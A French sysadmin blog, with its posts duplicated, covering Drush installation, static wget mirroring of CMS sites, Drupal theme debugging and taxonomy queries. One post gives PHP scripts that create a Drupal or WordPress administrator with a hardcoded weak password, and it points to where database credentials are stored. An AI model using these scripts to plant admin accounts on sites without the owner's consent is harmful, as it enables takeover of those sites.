export PATH=$HOME/.composer/vendor/bin:$PATH

Installer Drush pour tous les utilisateurs
Si plusieurs utilisateurs ont accès à la machine, il est préférable d'avoir une installation globale :

git clone https://github.com/drush-ops/drush.git /usr/local/src/drush
cd /usr/local/src/drush
git checkout 
ln -s /usr/local/src/drush/drush /usr/bin/drush
composer install
drush --version
which drush

Voilà, on peut maintenant utiliser toute la richesse de drush pour installer / activer des modules, installer un site complet, etc.

  Références :http://www.drush.org/en/master/install/ 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Archivage de sites Wordpress / Drupal

J'ai récemment eu besoin d'archiver des sites initialement créés avec les CMS Drupal et Wordpress, de clients HebInWeb ayant arrêté leur activité (et donc également leur site).

Le nom de domaine n'a pas été renouvelé, et a été détruit.
 
Plutôt que de supprimer complètement les sites, j'ai décidé de les archiver, mais en utilisant un site 100% statique en html/css/js, plutôt que de rester sur les CMS initiaux.

Ceci a plusieurs avantages à mes yeux :

  • sites plus rapides (nginx est assez doué pour ça)
  • arrêt des  mises à jour à faire sur les CMS
  • suppression de PHP = moins de ressources mémoire consommée
  • suppression de la base de données = moins de ressources
  • pas de sauvegarde (j'ai une copie de l'archive en local sur mon PC et sur disque externe)

Sachant qu'on est bien dans un mode "archive", qui sera probablement très peu visité, je me voyais mal "gâcher" des ressources pour cela.

Après quelques recherches, je suis tombé sur un site : https://swsblog.stanford.edu/blog/creating-static-copy-website qui m'a orienté vers la création d'un script reposant sur wget afin de faire un miroir statique.

#!/bin/sh
#
echo -n "Destination directory : "
read DEST

echo -n "Site URL : "
read URL

wget -P $DEST -mpck --user-agent="" -e robots=off --wait 1 -E $URL

Les options utilisées ici sont :

  • -P : chemin (Path) complet pour sauvegarder le site
  • -m : mode miroir
  • -p : télécharge tous les éléments nécessaires (css, js, images)
  • -c : continue le téléchargement en cas d'erreur
  • -k : convertit les liens absolus en relatifs
  • --user-agent : ignore le user-agent
  • -e : exécute la commande
  • --wait 1 : attente d'une seconde entre chaque requête (optionnel)
  • -E : renomme les fichiers avec une extension .html
  • $URL : URL du site à convertir

La copie d'un site s'effectue de manière assez simple. On saisit le répertoire de destination, puis l'URL, et on attend que wget fasse le boulot...
Le paramètre "wait" ralentit un peu, si on s'en passe cela ne prend que quelques secondes.

Sur le site Wordpress, j'ai juste retouché la page de contact, qui s'est retrouvée avec une notation de type [contact xxx].

Pour le site sous Drupal, j'ai commencé par désactiver les modules "interactifs", tels que comment, contact, etc.

S'agissant d'une archive, j'ai également désactivé les modules tels que XMLsitemap (qui de toute manière ne renverra plus rien, car le site sera en HTML statique)

Autres options

Avec wget

Une alternative (http://stackoverflow.com/questions/66610/how-can-i-create-a-site-in-php-...) utilise la commande suivante :

wget -k -K -E -r -l 10 -p -N -F -nH $URL

Wordpress

Il semble exister quelques plugins qui réalisent cette conversion, mais je n'ai pas approfondi (voir dans les références ci-après)

Drupal

Il existe un module, Static, assez récent, qui effectue cette conversion

Références

Quelques références sur le sujet :

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Archivage de sites Wordpress / Drupal

J'ai récemment eu besoin d'archiver des sites initialement créés avec les CMS Drupal et Wordpress, de clients HebInWeb ayant arrêté leur activité (et donc également leur site).

Le nom de domaine n'a pas été renouvelé, et a été détruit.
 
Plutôt que de supprimer complètement les sites, j'ai décidé de les archiver, mais en utilisant un site 100% statique en html/css/js, plutôt que de rester sur les CMS initiaux.

Ceci a plusieurs avantages à mes yeux :

  • sites plus rapides (nginx est assez doué pour ça)
  • arrêt des  mises à jour à faire sur les CMS
  • suppression de PHP = moins de ressources mémoire consommée
  • suppression de la base de données = moins de ressources
  • pas de sauvegarde (j'ai une copie de l'archive en local sur mon PC et sur disque externe)

Sachant qu'on est bien dans un mode "archive", qui sera probablement très peu visité, je me voyais mal "gâcher" des ressources pour cela.

Après quelques recherches, je suis tombé sur un site : https://swsblog.stanford.edu/blog/creating-static-copy-website qui m'a orienté vers la création d'un script reposant sur wget afin de faire un miroir statique.

#!/bin/sh
#
echo -n "Destination directory : "
read DEST

echo -n "Site URL : "
read URL

wget -P $DEST -mpck --user-agent="" -e robots=off --wait 1 -E $URL

Les options utilisées ici sont :

  • -P : chemin (Path) complet pour sauvegarder le site
  • -m : mode miroir
  • -p : télécharge tous les éléments nécessaires (css, js, images)
  • -c : continue le téléchargement en cas d'erreur
  • -k : convertit les liens absolus en relatifs
  • --user-agent : ignore le user-agent
  • -e : exécute la commande
  • --wait 1 : attente d'une seconde entre chaque requête (optionnel)
  • -E : renomme les fichiers avec une extension .html
  • $URL : URL du site à convertir

La copie d'un site s'effectue de manière assez simple. On saisit le répertoire de destination, puis l'URL, et on attend que wget fasse le boulot...
Le paramètre "wait" ralentit un peu, si on s'en passe cela ne prend que quelques secondes.

Sur le site Wordpress, j'ai juste retouché la page de contact, qui s'est retrouvée avec une notation de type [contact xxx].

Pour le site sous Drupal, j'ai commencé par désactiver les modules "interactifs", tels que comment, contact, etc.

S'agissant d'une archive, j'ai également désactivé les modules tels que XMLsitemap (qui de toute manière ne renverra plus rien, car le site sera en HTML statique)

Autres options

Avec wget

Une alternative (http://stackoverflow.com/questions/66610/how-can-i-create-a-site-in-php-...) utilise la commande suivante :

wget -k -K -E -r -l 10 -p -N -F -nH $URL

Wordpress

Il semble exister quelques plugins qui réalisent cette conversion, mais je n'ai pas approfondi (voir dans les références ci-après)

Drupal

Il existe un module, Static, assez récent, qui effectue cette conversion

Références

Quelques références sur le sujet :

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Mode de debug pour les thèmes Drupal

Depuis la version 7.33, Drupal embarque dans le "core" un mode de debug pour le thème.

On peut voir dans le fichier CHANGELOG.txt

Drupal 7.33, 2014-11-07
-----------------------
.../...
- Added a "theme_hook_original" variable to templates and theme functions and
  an optional sitewide theme debug mode, to provide contextual information in
  the page's HTML to theme developers. The theme debug mode is based on the one
  used with Twig in Drupal 8 and can be accessed by setting the "theme_debug"
  variable to TRUE (API addition).

Il s'agit donc d'un "backport" depuis Drupal 8.

Ce mode "debug" s'active via un paramètre dans le fichier sites/default/settings.php :

$conf['theme_debug'] = true;
// ou
$conf['theme_debug'] = 1;

Une fois activé, si on navigue dans les pages, on ne voit... rien !
Sauf à regarder le code source de la page HTML (c'est un mode DEBUG, ne l'oublions pas, réservé aux développeurs).
Et là, on découvre des commentaires tels que :

En haut de page (au niveau de la balise html)

<!-- THEME DEBUG -->
<!-- CALL: theme('html') -->
<!-- FILE NAME SUGGESTIONS:
   * html--mon-etablissement.tpl.php
   x html.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/html.tpl.php' -->

Et au niveau de chaque bloc :

<!-- THEME DEBUG -->
<!-- CALL: theme('block') -->
<!-- FILE NAME SUGGESTIONS:
   * block--hiw-common--hiw-login-block.tpl.php
   * block--hiw-common.tpl.php
   * block--header.tpl.php
   x block.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/block.tpl.php' -->

ou encore (pour une vue en mode bloc) :

<!-- THEME DEBUG -->
<!-- CALL: theme('block') -->
<!-- FILE NAME SUGGESTIONS:
   * block--views--mes-fichiers-block.tpl.php
   * block--views.tpl.php
   * block--content.tpl.php
   x block.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/block.tpl.php' -->

Ceci permet donc de savoir dans quels fichiers templates aller chercher pour faire les modifications du thème.

Le template utilisé est celui marqué par une croix 'x', et il est indiqué par la ligne BEGIN OUTPUT from... . Les autres sont des suggestions qui pourraient être utilisées.

Par exemple, si je duplique le modèle block.tpl.php en block--views.tpl.php, on peut constater que le template utilisé change  :

<!-- THEME DEBUG -->
<!-- CALL: theme('block') -->
<!-- FILE NAME SUGGESTIONS:
   * block--views--mes-fichiers-block.tpl.php
   x block--views.tpl.php
   * block--content.tpl.php
   * block.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/block--views.tpl.php' -->

Pratique pour affine le theming, sans devoir installer un module tel que devel_themer !

 

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Mode de debug pour les thèmes Drupal

Depuis la version 7.33, Drupal embarque dans le "core" un mode de debug pour le thème.

On peut voir dans le fichier CHANGELOG.txt

Drupal 7.33, 2014-11-07
-----------------------
.../...
- Added a "theme_hook_original" variable to templates and theme functions and
  an optional sitewide theme debug mode, to provide contextual information in
  the page's HTML to theme developers. The theme debug mode is based on the one
  used with Twig in Drupal 8 and can be accessed by setting the "theme_debug"
  variable to TRUE (API addition).

Il s'agit donc d'un "backport" depuis Drupal 8.

Ce mode "debug" s'active via un paramètre dans le fichier sites/default/settings.php :

$conf['theme_debug'] = true;
// ou
$conf['theme_debug'] = 1;

Une fois activé, si on navigue dans les pages, on ne voit... rien !
Sauf à regarder le code source de la page HTML (c'est un mode DEBUG, ne l'oublions pas, réservé aux développeurs).
Et là, on découvre des commentaires tels que :

En haut de page (au niveau de la balise html)

<!-- THEME DEBUG -->
<!-- CALL: theme('html') -->
<!-- FILE NAME SUGGESTIONS:
   * html--mon-etablissement.tpl.php
   x html.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/html.tpl.php' -->

Et au niveau de chaque bloc :

<!-- THEME DEBUG -->
<!-- CALL: theme('block') -->
<!-- FILE NAME SUGGESTIONS:
   * block--hiw-common--hiw-login-block.tpl.php
   * block--hiw-common.tpl.php
   * block--header.tpl.php
   x block.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/block.tpl.php' -->

ou encore (pour une vue en mode bloc) :

<!-- THEME DEBUG -->
<!-- CALL: theme('block') -->
<!-- FILE NAME SUGGESTIONS:
   * block--views--mes-fichiers-block.tpl.php
   * block--views.tpl.php
   * block--content.tpl.php
   x block.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/block.tpl.php' -->

Ceci permet donc de savoir dans quels fichiers templates aller chercher pour faire les modifications du thème.

Le template utilisé est celui marqué par une croix 'x', et il est indiqué par la ligne BEGIN OUTPUT from... . Les autres sont des suggestions qui pourraient être utilisées.

Par exemple, si je duplique le modèle block.tpl.php en block--views.tpl.php, on peut constater que le template utilisé change  :

<!-- THEME DEBUG -->
<!-- CALL: theme('block') -->
<!-- FILE NAME SUGGESTIONS:
   * block--views--mes-fichiers-block.tpl.php
   x block--views.tpl.php
   * block--content.tpl.php
   * block.tpl.php
-->
<!-- BEGIN OUTPUT from 'sites/all/themes/professional_theme/templates/block--views.tpl.php' -->

Pratique pour affine le theming, sans devoir installer un module tel que devel_themer !

 

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Créer un compte Admin par le code sur Drupal et Wordpress

Il est parfois intéressant de pouvoir se créer un compte avec les droits "Administrateur" sur un CMS Drupal ou Wordpress.

Par exemple si on récupère en infogérance un site internet développé par un client, qui n'a pas forcément envie de vous communiquer ses identifiants.

Si on a accès au serveur (ce qui est le cas quand on l'exploite), ceci est facilement faisable via quelques lignes de code.

Sous Drupal

Par défaut, si on a fait une installation avec le profil Standard, le rôle administrateur a le role-id 3. Par contre, un utilisateur qui fait partie du rôle administrateur n'a pas forcément autant de privilèges que le UserID 1, qui est vraiment "Super Admin" et qui peut outrepasser tous les droits.

Il suffit donc de créer un fichier php, puis de se positionner dans le root Drupal, et de lancer le script via :

php /chemin/vers/monscript.php

Avec monscript.php qui contient :

<?php
// Create Drupal Admin User
// run this file from Drupal root directory
// fichier a lancer à partir du répertoire racine de Drupal

define('DRUPAL_ROOT', getcwd());
$_SERVER['REMOTE_ADDR']="127.0.0.1";

include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

$username = 'SuperAdmin';
$password = 'Passw0rd';
$email = 'me@mydomain.com';

$new_user = array(
  'name' => $username,
  'pass' => $password,
  'mail' => $email,
  'status' => 1,
  'init' => $email,
  'roles' => array(
    DRUPAL_AUTHENTICATED_RID => 'authenticated user',
    3 => 'administrator',
  ),
);

$newUser=user_load_by_name($username);
if($newUser) {
  echo "Sorry, user '",$username,"' already exists with ID ",$newUser->uid," !",PHP_EOL;
}
else
{
  $newUser=user_save('', $new_user);
  echo "New User ID = ",$newUser->uid,PHP_EOL;
}
?>

Ensuite il suffit de se connecter au site avec le login SuperAdmin et le mot de passe Passw0rd.

Sous Wordpress

Sous Wordpress, le rôle administrator  est prédéfini, et permet d'avoir les droits d'administration.

De la même manière qu'avec Drupal, il suffit de créer un fichier php, et de le lancer à partir du répertoire racine du site Wordpress.

Le contenu du fichier php est le suivant :

<?php
// Create a Wordpress Admin User
// run this file from Wordpress root directory
// fichier a lancer à partir du répertoire racine de Wordpress

$WPHOME=getcwd();
require_once( $WPHOME . '/wp-load.php' );

$username = 'SuperAdmin';
$password = 'Passw0rd';
$email = 'me@mydomain.com';

if (username_exists($username) == null && email_exists($email) == false) {
  $user_id = wp_create_user( $username, $password, $email );
  $user = get_user_by( 'id', $user_id );
  $user->remove_role( 'subscriber' );
  $user->add_role( 'administrator' );
}
else
{
  echo "$username exists ! Quit...",PHP_EOL;
}
?>

Conclusion

L'avantage de ces solutions c'est qu'on passe par les API / fonctions des CMS, et qu'il ne faut pas connaître les identifiants de la base de données. Sachant que si on a accès au système de fichiers, il est facile de récupérer les identifiants, soit dans sites/default/settings.php pour Drupal, soit dans wp-config.php pour Wordpress.

Ceci met aussi en lumière la nécessité de protéger et de mettre à jour son CMS, pour éviter qu'un internaute ne puisse lancer à distance ce genre de fichier !

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Créer un compte Admin par le code sur Drupal et Wordpress

Il est parfois intéressant de pouvoir se créer un compte avec les droits "Administrateur" sur un CMS Drupal ou Wordpress.

Par exemple si on récupère en infogérance un site internet développé par un client, qui n'a pas forcément envie de vous communiquer ses identifiants.

Si on a accès au serveur (ce qui est le cas quand on l'exploite), ceci est facilement faisable via quelques lignes de code.

Sous Drupal

Par défaut, si on a fait une installation avec le profil Standard, le rôle administrateur a le role-id 3. Par contre, un utilisateur qui fait partie du rôle administrateur n'a pas forcément autant de privilèges que le UserID 1, qui est vraiment "Super Admin" et qui peut outrepasser tous les droits.

Il suffit donc de créer un fichier php, puis de se positionner dans le root Drupal, et de lancer le script via :

php /chemin/vers/monscript.php

Avec monscript.php qui contient :

<?php
// Create Drupal Admin User
// run this file from Drupal root directory
// fichier a lancer à partir du répertoire racine de Drupal

define('DRUPAL_ROOT', getcwd());
$_SERVER['REMOTE_ADDR']="127.0.0.1";

include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

$username = 'SuperAdmin';
$password = 'Passw0rd';
$email = 'me@mydomain.com';

$new_user = array(
  'name' => $username,
  'pass' => $password,
  'mail' => $email,
  'status' => 1,
  'init' => $email,
  'roles' => array(
    DRUPAL_AUTHENTICATED_RID => 'authenticated user',
    3 => 'administrator',
  ),
);

$newUser=user_load_by_name($username);
if($newUser) {
  echo "Sorry, user '",$username,"' already exists with ID ",$newUser->uid," !",PHP_EOL;
}
else
{
  $newUser=user_save('', $new_user);
  echo "New User ID = ",$newUser->uid,PHP_EOL;
}
?>

Ensuite il suffit de se connecter au site avec le login SuperAdmin et le mot de passe Passw0rd.

Sous Wordpress

Sous Wordpress, le rôle administrator  est prédéfini, et permet d'avoir les droits d'administration.

De la même manière qu'avec Drupal, il suffit de créer un fichier php, et de le lancer à partir du répertoire racine du site Wordpress.

Le contenu du fichier php est le suivant :

<?php
// Create a Wordpress Admin User
// run this file from Wordpress root directory
// fichier a lancer à partir du répertoire racine de Wordpress

$WPHOME=getcwd();
require_once( $WPHOME . '/wp-load.php' );

$username = 'SuperAdmin';
$password = 'Passw0rd';
$email = 'me@mydomain.com';

if (username_exists($username) == null && email_exists($email) == false) {
  $user_id = wp_create_user( $username, $password, $email );
  $user = get_user_by( 'id', $user_id );
  $user->remove_role( 'subscriber' );
  $user->add_role( 'administrator' );
}
else
{
  echo "$username exists ! Quit...",PHP_EOL;
}
?>

Conclusion

L'avantage de ces solutions c'est qu'on passe par les API / fonctions des CMS, et qu'il ne faut pas connaître les identifiants de la base de données. Sachant que si on a accès au système de fichiers, il est facile de récupérer les identifiants, soit dans sites/default/settings.php pour Drupal, soit dans wp-config.php pour Wordpress.

Ceci met aussi en lumière la nécessité de protéger et de mettre à jour son CMS, pour éviter qu'un internaute ne puisse lancer à distance ce genre de fichier !

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Trucs & astuces Drupal

Quelques trucs et astuces qui peuvent rendre la vie un peu plus simple lorsqu'on travaille sur Drupal. 

Catégorie: 

Par vincent59
Vincent Liefooghe

Trucs & astuces Drupal

Quelques trucs et astuces qui peuvent rendre la vie un peu plus simple lorsqu'on travaille sur Drupal. 

Catégorie: 

Par vincent59
Vincent Liefooghe

Récupérer un terme de taxonomie à partir d'un champ spécifique

Depuis Drupal7, on peut ajouter des champs à un terme de taxonomie.

Ceci peut être intéressant pour ajouter une image ou d'autres informations. Mais comment dans ce cas chercher un terme de taxonomie sur la base de ce champ spécifique ?
Imaginous que nous avons une taxonomie de type "Music Categories", sur laquelle nous ajoutons un champ spécifique, "music_code", qui est utilisé dans une interface avec une autre système.

Nous avons alors 2 options :

  •     utiliser la fonction taxonomy_get_tree et filtrer les résultats sur ce champ
  •     rechercher  directement sur ce champ, via EntityFieldQuery

Dans cet article, j'explique comme retrouver un terme, en se basant sur un champ spécifique, en utilisant EntityFieldQuery.

Cet example peut être lancé en ligne de commande, sans être inclus dans un module. Voyons le code :
 

<?php
$_SERVER['REMOTE_ADDR']='localhost';
// drupal bootstrap
$drupal_directory = "/var/www/drupal";
chdir($drupal_directory);
define('DRUPAL_ROOT', getcwd());
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

// Retrieve Vocabulary ID (VID)
$vocabulary_name='categories';
$vocab = taxonomy_vocabulary_machine_name_load($vocabulary_name);

// bundle = Machine Name of the vocabulary
$query = new EntityFieldQuery();
$query
  --->entityCondition('entity_type', 'taxonomy_term')
  ->entityCondition('bundle', $vocabulary_name)
  ->propertyCondition('vid', $vocab->vid)
  ->fieldCondition('field_music_code', 'value', 'C042', '=');

$results = $query->execute();
if (!empty($results['taxonomy_term'])) {
  foreach($results['taxonomy_term'] as $tid) {
    $term = taxonomy_term_load($tid->tid);
    $name=$term->name;
    echo "Term ID = ",$term->tid," Name = ",$name,PHP_EOL;
    echo "Field Code Client Value = ",$term->field_music_code[LANGUAGE_NONE][0]['value'],PHP_EOL;
  }
}
else
{
  echo "No result for this code ! ",PHP_EOL;
}
?>

Les 7 premières lignes sont utilisées pour lancer le bootstrap Drupal puisque nous n'utilisons pas de module.
Ensuite, nous recherchons le Vocabulary ID, avec la fonction taxonomy_vocabulary_machine_name_load. Ceci nous donne le VID (vocabulary ID).
Nous construisons ensuite la requête Entity Query, avec plusieurs paramètres :

  •     Entity type : dans notre cas, c'est 'taxonomy_term' car nous travaillons sur les taxonomies
  •     Bundle : le nom machine du vocabulaire
  •     propertyCondition : l'ID du vocabulaire que nous utilisons pour la recherche des termes
  •     fieldCondition : la condition placée sur le champ spécifique.

Dans cet exemple, le code est C042, et nous cherchons tous les termes qui utilisent ce code dans leur champ spécifique.

Le résultat, dans notre cas, est  :

Term ID = 4 Name = Funk
Field Code Client Value = C042

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Récupérer un terme de taxonomie à partir d'un champ spécifique

Depuis Drupal7, on peut ajouter des champs à un terme de taxonomie.

Ceci peut être intéressant pour ajouter une image ou d'autres informations. Mais comment dans ce cas chercher un terme de taxonomie sur la base de ce champ spécifique ?
Imaginous que nous avons une taxonomie de type "Music Categories", sur laquelle nous ajoutons un champ spécifique, "music_code", qui est utilisé dans une interface avec une autre système.

Nous avons alors 2 options :

  •     utiliser la fonction taxonomy_get_tree et filtrer les résultats sur ce champ
  •     rechercher  directement sur ce champ, via EntityFieldQuery

Dans cet article, j'explique comme retrouver un terme, en se basant sur un champ spécifique, en utilisant EntityFieldQuery.

Cet example peut être lancé en ligne de commande, sans être inclus dans un module. Voyons le code :
 

<?php
$_SERVER['REMOTE_ADDR']='localhost';
// drupal bootstrap
$drupal_directory = "/var/www/drupal";
chdir($drupal_directory);
define('DRUPAL_ROOT', getcwd());
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

// Retrieve Vocabulary ID (VID)
$vocabulary_name='categories';
$vocab = taxonomy_vocabulary_machine_name_load($vocabulary_name);

// bundle = Machine Name of the vocabulary
$query = new EntityFieldQuery();
$query
  --->entityCondition('entity_type', 'taxonomy_term')
  ->entityCondition('bundle', $vocabulary_name)
  ->propertyCondition('vid', $vocab->vid)
  ->fieldCondition('field_music_code', 'value', 'C042', '=');

$results = $query->execute();
if (!empty($results['taxonomy_term'])) {
  foreach($results['taxonomy_term'] as $tid) {
    $term = taxonomy_term_load($tid->tid);
    $name=$term->name;
    echo "Term ID = ",$term->tid," Name = ",$name,PHP_EOL;
    echo "Field Code Client Value = ",$term->field_music_code[LANGUAGE_NONE][0]['value'],PHP_EOL;
  }
}
else
{
  echo "No result for this code ! ",PHP_EOL;
}
?>

Les 7 premières lignes sont utilisées pour lancer le bootstrap Drupal puisque nous n'utilisons pas de module.
Ensuite, nous recherchons le Vocabulary ID, avec la fonction taxonomy_vocabulary_machine_name_load. Ceci nous donne le VID (vocabulary ID).
Nous construisons ensuite la requête Entity Query, avec plusieurs paramètres :

  •     Entity type : dans notre cas, c'est 'taxonomy_term' car nous travaillons sur les taxonomies
  •     Bundle : le nom machine du vocabulaire
  •     propertyCondition : l'ID du vocabulaire que nous utilisons pour la recherche des termes
  •     fieldCondition : la condition placée sur le champ spécifique.

Dans cet exemple, le code est C042, et nous cherchons tous les termes qui utilisent ce code dans leur champ spécifique.

Le résultat, dans notre cas, est  :

Term ID = 4 Name = Funk
Field Code Client Value = C042

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Retrieve Taxonomy Term by a custom field

Starting with Drupal7, once can add fields to taxonomy terms.

This can be interesting to add images or other informations. But what if you want to search a taxonomy term on this custom field in a module ?

Imagine we have a list of Music Categories, and we add a custom field, "music_code", that is used to interface with one other system.

Then we have 2 options :

In this article, I explain how to retreive a term ID based on a custom field on a Drupal taxonomy.

This example can be run on the command line for testing, no need for a module.

 

<?php
$_SERVER['REMOTE_ADDR']='localhost';
// drupal bootstrap
$drupal_directory = "/var/www/drupal";
chdir($drupal_directory);
define('DRUPAL_ROOT', getcwd());
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

// Retrieve Vocabulary ID (VID)
$vocabulary_name='categories';
$vocab = taxonomy_vocabulary_machine_name_load($vocabulary_name);

// bundle = Machine Name of the vocabulary
$query = new EntityFieldQuery();
$query
  ->entityCondition('entity_type', 'taxonomy_term')
  ->entityCondition('bundle', $vocabulary_name)
  ->propertyCondition('vid', $vocab->vid)
  ->fieldCondition('field_music_code', 'value', 'C042', '=');

$results = $query->execute();
if (!empty($results['taxonomy_term'])) {
  foreach($results['taxonomy_term'] as $tid) {
    $term = taxonomy_term_load($tid->tid);
    $name=$term->name;
    echo "Term ID = ",$term->tid," Name = ",$name,PHP_EOL;
    echo "Field Code Client Value = ",$term->field_music_code[LANGUAGE_NONE][0]['value'],PHP_EOL;
  }
}
else
{
  echo "No result for this code ! ",PHP_EOL;
}
?>

The first lines are here only to bootstrap Drupal when you are not in a module.

Then we define the Vocabulary ID, with taxonomy_vocabulary_machine_name_load function. This gives us the vocabulary ID (we suppose it is created).

Then we build the Entity Query, with several parameters :

  • Entity type : in our case, it is 'taxonomy_term' because we are dealing with taxonomies
  • Bundle : the machine name of our vocabulary
  • propertyCondition : the vocabulary ID we use to identify the terms (belonging to this vocabulary)
  • fieldCondition : the condition placed on the custom field.

In this example, the code is C042, and we search all terms (well, there is only one) that is using this code.

The result in our case is :

Term ID = 4 Name = Funk
Field Code Client Value = C042

 

Catégorie: 


Tag: 

Par vincent59
Vincent Liefooghe

Retrieve Taxonomy Term by a custom field

Starting with Drupal7, once can add fields to taxonomy terms.

This can be interesting to add images or other informations. But what if you want to search a taxonomy term on this custom field in a module ?

Imagine we have a list of Music Categories, and we add a custom field, "music_code", that is used to interface with one other system.

Then we have 2 options :

In this article, I explain how to retreive a term ID based on a custom field on a Drupal taxonomy.

This example can be run on the command line for testing, no need for a module.

 

<?php
$_SERVER['REMOTE_ADDR']='localhost';
// drupal bootstrap
$drupal_directory = "/var/www/drupal";
chdir($drupal_directory);
define('DRUPAL_ROOT', getcwd());
require_once './includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);

// Retrieve Vocabulary ID (VID)
$vocabulary_name='categories';
$vocab = taxonomy_vocabulary_machine_name_load($vocabulary_name);

// bundle = Machine Name of the vocabulary
$query = new EntityFieldQuery();
$query
  ->entityCondition('entity_type', 'taxonomy_term')
  ->entityCondition('bundle', $vocabulary_name)
  ->propertyCondition('vid', $vocab->vid)
  ->fieldCondition('field_music_code', 'value', 'C042', '=');

$results = $query->execute();
if (!empty($results['taxonomy_term'])) {
  foreach($results['taxonomy_term'] as $tid) {
    $term = taxonomy_term_load($tid->tid);
    $name=$term->name;
    echo "Term ID = ",$term->tid," Name = ",$name,PHP_EOL;
    echo "Field Code Client Value = ",$term->field_music_code[LANGUAGE_NONE][0]['value'],PHP_EOL;
  }
}
else
{
  echo "No result for this code ! ",PHP_EOL;
}
?>

The first lines are here only to bootstrap Drupal when you are not in a module.

Then we define the Vocabulary ID, with taxonomy_vocabulary_machine_name_load function. This gives us the vocabulary ID (we suppose it is created).

Then we build the Entity Query, with several parameters :

  • Entity type : in our case, it is 'taxonomy_term' because we are dealing with taxonomies
  • Bundle : the machine name of our vocabulary
  • propertyCondition : the vocabulary ID we use to identify the terms (belonging to this vocabulary)
  • fieldCondition : the condition placed on the custom field.

In this example, the code is C042, and we search all terms (well, there is only one) that is using this code.

The result in our case is :

Term ID = 4 Name = Funk
Field Code Client Value = C042

 

Catégorie: 


Tag: 

Pages